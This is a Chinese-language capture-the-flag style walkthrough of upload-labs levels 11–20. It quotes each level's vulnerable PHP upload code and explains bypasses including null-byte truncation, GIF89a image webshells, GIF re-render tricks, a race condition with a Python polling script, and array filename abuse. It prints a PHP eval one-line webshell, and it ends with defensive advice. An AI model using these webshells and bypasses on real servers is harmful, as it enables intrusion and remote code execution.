uploads-labs靶场通关(2)
接下来完成靶场的十关。
一、靶场通关(2)
1、pass-11
经过一系列的测试,发现没有作用,那就分析一下源码。
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");$file_name = trim($_FILES['upload_file']['name']);$file_name = str_ireplace($deny_ext,"", $file_name);$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
禁止的扩展名:定义了$deny_ext
数组,包含php
、html
、jsp
等常见可执行文件后缀(均为小写)。
文件名处理:使用str_ireplace($deny_ext, "", $file_name)
将文件名中出现的禁止扩展名替换为空(str_ireplace
是区分大小写的,仅替换小写的禁止扩展名)。
上传逻辑:处理后的文件名拼接路径,通过move_uploaded_file
保存文件。
从此关开始都是通过白名单进行绕过,难度会直接增加。
此题的主要思路是利用%00进行截断从而绕过。但是其需要有条件,%00
是 URL 编码中的空字符(对应 ASCII 码的\0
),在早期 PHP 版本(通常≤5.3.4)中,文件操作函数(如move_uploaded_file
)会将\0
视为字符串的结束符。如果文件名中包含\0
,则\0
后面的内容会被忽略,从而改变文件的实际扩展名。所以需要修改PHP版本和相应的扩展,具体的修改这里就不再展示了,那么具体如何操作呢,首先进行抓包
然后需要去修改请求路径,变成如下所示
进行访问成功,使用蚁剑连接
2、pass-12
进行源码分析
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);if(in_array($file_ext,$ext_arr)){$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传失败";}} else {$msg = "只允许上传.jpg|.png|.gif类型文件!";}
}
允许的扩展名:定义$ext_arr = array('jpg','png','gif')
,仅允许这三种图片扩展名。
获取扩展名:通过strrpos($_FILES['upload_file']['name'], ".")
找到文件名中最后一个.
的位置,再用substr
截取.
后面的部分作为$file_ext
(即文件扩展名)。
校验扩展名:通过in_array($file_ext, $ext_arr)
判断扩展名是否在允许列表中,若在则继续处理,否则拒绝上传。
保存路径:文件保存路径由用户提交的$_POST['save_path']
(用户可控)拼接随机数、日期和扩展名组成,最终通过move_uploaded_file
保存文件。
那么这题和上一题的思路是一样的,但是操作上有些不同,因为此题使用了post提交的方式,而POST提交方式不会进行编码,所以我们要对%00进行编码,操作如下
可以看到上面上传成功,访问蚁剑连接
3、pass-13
上传一句话变成的图片马失败了,说明会检验文件内容头,在图片马的头部加上GIF89a即可绕过
如下所示
可以看到已经成功上传了,那么接下来使用文件包含漏洞即可解析图片马,在页面中进行新标签页打开图片,获取文件地址
然后使用文件包含漏洞进行访问
可以看到页面解析了一句话木马,使用蚁剑连接
连接成功,分析源码
function getReailFileType($filename){$file = fopen($filename, "rb");$bin = fread($file, 2); //只读2字节fclose($file);$strInfo = @unpack("C2chars", $bin); $typeCode = intval($strInfo['chars1'].$strInfo['chars2']); $fileType = ''; switch($typeCode){ case 255216: $fileType = 'jpg';break;case 13780: $fileType = 'png';break; case 7173: $fileType = 'gif';break;default: $fileType = 'unknown';} return $fileType;
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$file_type = getReailFileType($temp_file);if($file_type == 'unknown'){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}
核心校验函数getReailFileType
:
- 读取文件前 2 字节(二进制),通过
unpack
解析为十进制类型码。 - 根据类型码判断文件类型:
255216
(对应十六进制FF D8
)→jpg
13780
(对应十六进制89 50
)→png
7173
(对应十六进制47 49
)→gif
- 其他类型 →
unknown
上传逻辑:
- 接收上传的临时文件,调用
getReailFileType
获取类型。 - 若类型为
unknown
,拒绝上传;否则,以 “随机数 + 日期 + 文件类型” 为文件名保存到UPLOAD_PATH
4、pass-14
先尝试上一关的思路,发现也是可以进行连接的,还是在文件头加上GIF89a,进行抓包拦截访问
访问成功,进行蚁剑连接
源码分析
function isImage($filename){$types = '.jpeg|.png|.gif';if(file_exists($filename)){$info = getimagesize($filename);$ext = image_type_to_extension($info[2]);if(stripos($types,$ext)>=0){return $ext;}else{return false;}}else{return false;}
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}
核心校验函数isImage
:
- 检查文件是否存在后,调用
getimagesize($filename)
获取文件信息(该函数会解析文件头部结构,判断是否为有效图片)。 - 通过
image_type_to_extension($info[2])
将getimagesize
返回的图片类型(如IMAGETYPE_JPEG
)转换为对应扩展名(如.jpeg
)。 - 检查转换后的扩展名是否在允许列表(
.jpeg|.png|.gif
)中,若在则返回扩展名,否则返回false
。
上传逻辑:
- 对上传的临时文件调用
isImage
校验,若校验通过,以 “随机数 + 日期 + 校验返回的扩展名” 为文件名保存到UPLOAD_PATH
;否则拒绝上传。
5、pass-15
继续尝试上面的思路,发现也是可以上传成功的,可以看到成功解析
使用蚁剑连接
源码分析
function isImage($filename){//需要开启php_exif模块$image_type = exif_imagetype($filename);switch ($image_type) {case IMAGETYPE_GIF:return "gif";break;case IMAGETYPE_JPEG:return "jpg";break;case IMAGETYPE_PNG:return "png";break; default:return false;break;}
}$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){$temp_file = $_FILES['upload_file']['tmp_name'];$res = isImage($temp_file);if(!$res){$msg = "文件未知,上传失败!";}else{$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;if(move_uploaded_file($temp_file,$img_path)){$is_upload = true;} else {$msg = "上传出错!";}}
}
核心校验函数isImage
:
- 依赖
php_exif
模块,通过exif_imagetype($filename)
读取文件头部的 “魔术数字”(文件开头的特征字节),判断文件是否为图像类型。 - 函数返回对应的图像类型常量(如
IMAGETYPE_GIF
对应 GIF、IMAGETYPE_JPEG
对应 JPEG 等),再通过switch
分支返回对应的扩展名(gif
/jpg
/png
);非图片类型则返回false
。
上传逻辑:
- 对上传的临时文件调用
isImage
校验,若返回有效扩展名,则以 “随机数 + 日期 + 扩展名” 为文件名保存到UPLOAD_PATH
;否则拒绝上传。
exif_imagetype
的局限性:仅校验文件头部魔术数字,exif_imagetype
的核心作用是通过文件开头的几个字节(魔术数字)判断是否为标准图像格式(如 GIF 的47 49
、JPEG 的FF D8
、PNG 的89 50
等),但它不会检查文件的完整结构,也不会过滤文件中嵌入的恶意代码。
6、pass-16
先按照上面的思路进行尝试,发现无法进行上传,查看源码分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){// 获得上传文件的基本信息,文件名,类型,大小,临时文件路径$filename = $_FILES['upload_file']['name'];$filetype = $_FILES['upload_file']['type'];$tmpname = $_FILES['upload_file']['tmp_name'];$target_path=UPLOAD_PATH.basename($filename);// 获得上传文件的扩展名$fileext= substr(strrchr($filename,"."),1);//判断文件后缀与类型,合法才进行上传操作if(($fileext == "jpg") && ($filetype=="image/jpeg")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromjpeg($target_path);if($im == false){$msg = "该文件不是jpg格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".jpg";$newimagepath = UPLOAD_PATH.$newfilename;imagejpeg($im,$newimagepath);//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.$newfilename;@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else if(($fileext == "png") && ($filetype=="image/png")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefrompng($target_path);if($im == false){$msg = "该文件不是png格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".png";$newimagepath = UPLOAD_PATH.$newfilename;imagepng($im,$newimagepath);//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.$newfilename;@unlink($target_path);$is_upload = true; }} else {$msg = "上传出错!";}}else if(($fileext == "gif") && ($filetype=="image/gif")){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片$im = imagecreatefromgif($target_path);if($im == false){$msg = "该文件不是gif格式的图片!";@unlink($target_path);}else{//给新图片指定文件名srand(time());$newfilename = strval(rand()).".gif";$newimagepath = UPLOAD_PATH.$newfilename;imagegif($im,$newimagepath);//显示二次渲染后的图片(使用用户上传图片生成的新图片)$img_path = UPLOAD_PATH.$newfilename;@unlink($target_path);$is_upload = true;}} else {$msg = "上传出错!";}}else{$msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";}
}
基础校验:检查文件扩展名(fileext
)和 MIME 类型(filetype
)是否匹配(如jpg
对应image/jpeg
、png
对应image/png
、gif
对应image/gif
)。
二次渲染核心逻辑:
- 若基础校验通过,先将临时文件保存到服务器(
move_uploaded_file
)。 - 调用图片处理函数(
imagecreatefromjpeg
/imagecreatefrompng
/imagecreatefromgif
)尝试读取该文件,验证是否为 “真正可解析的图片”。 - 若读取失败(非有效图片),删除文件;若成功,使用
imagejpeg
/imagepng
/imagegif
重新生成一张新图片,删除原上传文件,仅保留二次渲染后的新图片。
那么绕过思路就是二次渲染进行绕过了。GIF 格式的特殊性,JPG 和 PNG 的二次渲染(imagecreatefromjpeg
+imagejpeg
、imagecreatefrompng
+imagepng
)会严格重新编码,几乎无法保留嵌入的恶意代码。但GIF 格式因结构特性:GIF 文件由多个 “数据块” 组成(如文件头、图像描述块、数据块、注释块等),其中注释扩展块(Comment Extension) 用于存储文本注释,不属于图像像素数据,但部分图片处理函数在二次渲染时保留该块。
具体操作就是通过上传一个正常的gif文件,然后靶场会进行二次渲染给出新的gif图片,然后下载进行对比,将正常没有修改的那部分插入一句话木马然后使用文件包含漏洞进行解析即可。具体操作就不再进行展示了,知道思路即可。
7、pass-17
- 先通过
move_uploaded_file
将临时文件直接上传到服务器(路径为UPLOAD_PATH/$file_name
)。 - 上传成功后,才检查文件扩展名(
$file_ext
)是否在允许列表(jpg
/png
/gif
)中。 - 若扩展名合法:重命名文件为 “随机数 + 日期 + 扩展名”,完成上传。
- 若扩展名不合法:删除已上传的文件,提示错误。
主要绕过点就是竞争条件漏洞,代码的致命问题是 “先上传,后校验”:文件会先被保存到服务器(UPLOAD_PATH/$file_name
),然后才检查扩展名是否合法。这会产生一个极短的 “时间窗口”—— 从move_uploaded_file
成功到unlink
删除非法文件之间,恶意文件已存在于服务器中。
利用这个时间差:构造php一句话木马文件内容为<?php eval($_POST['cmd']);?>
),通过脚本高频次重复上传。同时用另一个脚本高频次请求该文件的路径(UPLOAD_PATH/shell.php
),在文件被删除前成功访问,执行恶意代码。
首先通过php文件来写入一句话木马
<?php
phpinfo();
?>
然后再bp的intruder模块进行重复发送
使用python脚本进行监听,不断进行访问url即可,也可以使用浏览器不断请求
import requests
import time# -------------------------- 配置参数(根据靶场修改)--------------------------
TARGET_URL = "http://靶场IP/upload/shell.php" # 恶意脚本上传后的路径
CHECK_INTERVAL = 0.005 # 访问间隔(秒),越小成功率越高(根据服务器性能调整)
TIMEOUT = 0.5 # 每次请求超时时间(避免阻塞)
# ----------------------------------------------------------------------------print(f"开始监控目标URL:{TARGET_URL}")
print(f"访问间隔:{CHECK_INTERVAL}秒,超时时间:{TIMEOUT}秒")
print("按 Ctrl+C 可终止程序\n")try:count = 0 # 统计请求次数while True:count += 1try:# 发送GET请求(若恶意脚本需要POST触发,可改为requests.post)response = requests.get(url=TARGET_URL,timeout=TIMEOUT,headers={"User-Agent": "Mozilla/5.0"} # 模拟浏览器请求,避免被靶场拦截)# 判断是否成功:状态码200表示文件存在且可访问if response.status_code == 200:print(f"\n【成功!】第{count}次请求命中时间窗口")print(f"响应状态码:{response.status_code}")print(f"响应内容:{response.text[:200]}") # 打印前200字符,避免输出过长break # 成功后退出循环# 状态码404表示文件已被删除或未上传,继续循环elif response.status_code == 404:if count % 100 == 0: # 每100次输出一次进度,避免日志刷屏print(f"已请求{count}次,未命中...")except requests.exceptions.RequestException as e:# 捕获超时、连接失败等异常(如文件被删除导致的连接中断)if count % 100 == 0:print(f"已请求{count}次,异常:{str(e)[:50]}")time.sleep(CHECK_INTERVAL)except KeyboardInterrupt:print("\n程序被用户终止")
8、pass-18
进行源码分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{require_once("./myupload.php");$imgFileName =time();$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);$status_code = $u->upload(UPLOAD_PATH);switch ($status_code) {case 1:$is_upload = true;$img_path = $u->cls_upload_dir . $u->cls_file_rename_to;break;case 2:$msg = '文件已经被上传,但没有重命名。';break; case -1:$msg = '这个文件不能上传到服务器的临时文件存储目录。';break; case -2:$msg = '上传失败,上传目录不可写。';break; case -3:$msg = '上传失败,无法上传该类型文件。';break; case -4:$msg = '上传失败,上传的文件过大。';break; case -5:$msg = '上传失败,服务器已经存在相同名称文件。';break; case -6:$msg = '文件无法上传,文件不能复制到目标目录。';break; default:$msg = '未知错误!';break;}
}//myupload.php
class MyUpload{
......
......
...... var $cls_arr_ext_accepted = array(".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",".html", ".xml", ".tiff", ".jpeg", ".png" );......
......
...... /** upload()**** Method to upload the file.** This is the only method to call outside the class.** @para String name of directory we upload to** @returns void**/function upload( $dir ){$ret = $this->isUploadedFile();if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->setDir( $dir );if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->checkExtension();if( $ret != 1 ){return $this->resultUpload( $ret );}$ret = $this->checkSize();if( $ret != 1 ){return $this->resultUpload( $ret ); }// if flag to check if the file exists is set to 1if( $this->cls_file_exists == 1 ){$ret = $this->checkFileExists();if( $ret != 1 ){return $this->resultUpload( $ret ); }}// if we are here, we are ready to move the file to destination$ret = $this->move();if( $ret != 1 ){return $this->resultUpload( $ret ); }// check if we need to rename the fileif( $this->cls_rename_file == 1 ){$ret = $this->renameFile();if( $ret != 1 ){return $this->resultUpload( $ret ); }}// if we are here, everything worked as planned :)return $this->resultUpload( "SUCCESS" );}
......
......
......
};
- 实例化
MyUpload
类,传入上传文件的名称、临时路径、大小和自定义文件名(由time()
生成)。 - 调用
upload()
方法执行上传,该方法返回状态码,主程序根据状态码提示结果。
MyUpload::upload()
的校验流程
上传的校验顺序为:
isUploadedFile()
:验证是否是通过 HTTP POST 上传的合法文件(通常基于is_uploaded_file()
实现)。setDir()
:检查上传目录是否存在且可写。checkExtension()
:校验文件扩展名是否在允许列表(cls_arr_ext_accepted
)中。checkSize()
:校验文件大小是否符合限制(代码未贴出具体阈值,但逻辑存在)。checkFileExists()
:检查目标目录是否已存在同名文件。move()
:将临时文件移动到目标目录。renameFile()
:按配置重命名文件(主程序中传入了time()
作为文件名前缀)。
这关和上一关也是一样的思路,只不过需要将php文件改为图片马,这里就不再展示具体的操作了。
9、pass-19
源码分析
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");$file_name = $_POST['save_name'];$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);if(!in_array($file_ext,$deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true;}else{$msg = '上传出错!';}}else{$msg = '禁止保存为该类型文件!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
前置检查:验证上传目录是否存在。
禁止扩展名限制:定义了常见可执行文件后缀(如php
、jsp
、asp
等)作为禁止列表。
文件名与扩展名校验:
- 保存文件名直接取自用户提交的
save_name
参数(无任何过滤)。 - 通过
pathinfo($file_name, PATHINFO_EXTENSION)
获取扩展名,判断是否在禁止列表中。
文件保存:若扩展名合法,直接将临时文件移动到UPLOAD_PATH/$file_name
路径下。
所以这里我们通过抓包修改后缀再加上%00或者/.即可绕过,操作如图所示
然后进行访问,访问成功
使用蚁剑连接
10、pass-20
进行源码分析
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){//检查MIME$allow_type = array('image/jpeg','image/png','image/gif');if(!in_array($_FILES['upload_file']['type'],$allow_type)){$msg = "禁止上传该类型文件!";}else{//检查文件名$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];if (!is_array($file)) {$file = explode('.', strtolower($file));}$ext = end($file);$allow_suffix = array('jpg','png','gif');if (!in_array($ext, $allow_suffix)) {$msg = "禁止上传该后缀文件!";}else{$file_name = reset($file) . '.' . $file[count($file) - 1];$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' .$file_name;if (move_uploaded_file($temp_file, $img_path)) {$msg = "文件上传成功!";$is_upload = true;} else {$msg = "文件上传失败!";}}}
}else{$msg = "请选择要上传的文件!";
}
MIME 类型校验:仅允许image/jpeg
、image/png
、image/gif
三种 MIME 类型的文件上传(依赖客户端提交的$_FILES['upload_file']['type']
)。
文件名处理:
- 文件名可由用户通过
save_name
参数自定义,若未提交则使用原始文件名。 - 将文件名转为小写后按
.
分割为数组,取最后一个元素作为扩展名。
后缀名校验:仅允许jpg
、png
、gif
三种扩展名,通过校验后拼接文件名(第一个分割元素 + 最后一个扩展名)并保存。
绕过思路,文件名可通过save_name
自定义,那么这里我们就可以通过数组的方式进行绕过,具体操作如下
思路如下
save_name[0] = "upload-20.php/"
(数组第一个元素)save_name[2] = "jpg"
(数组最后一个元素,键为 2,不影响顺序)
此时代码会直接将$file
视为数组(跳过explode
分割),后续处理:
扩展名校验:end($file)
取数组最后一个元素"jpg"
,属于允许的后缀(jpg
在$allow_suffix
中),通过校验。
文件名拼接:reset($file)
取数组第一个元素"upload-20.php/"
,$file[count($file)-1]
取最后一个元素"jpg"
,最终$file_name = "upload-20.php/" . ".jpg"
→ upload-20.php/.jpg
。
$file_name = "upload-20.php/.jpg"通过
不同操作系统 / 服务器中的解析逻辑
上传成功进行访问
蚁剑连接
二、总结
1、漏洞成因
从靶场我们可以知道造成文件上传漏洞的成因有很多,前端验证,MIME类型验证,文件头验证,文件内容验证,以及配置环境的问题,比如中间件存在解析漏洞等。apache可以通过传.htaccess来修改服务器配置,还有就是逻辑上缺陷,条件竞争,二次渲染等,以及多种漏洞的结合所导致错误等。
2、防御
- 多层验证文件类型,扩展名验证:仅允许业务所需的扩展名(如.jpg、.pdf),使用白名单(禁止.php、.asp、.jsp等可执行文件),且不依赖客户端提交的扩展名(需在服务器端重命名)。MIME 类型验证:检查请求头Content-Type(如image/jpeg),但仅作为辅助(易伪造)。文件头验证:通过文件二进制内容判断类型(如 JPG 文件头为FF D8 FF,PDF 为%PDF-),拒绝不符合的文件。
- 对于Web服务器进行更新,防止出现解析漏洞。
- 上传文件存非 Web 访问目录,或配置服务器(如 Nginx)禁止上传目录执行脚本。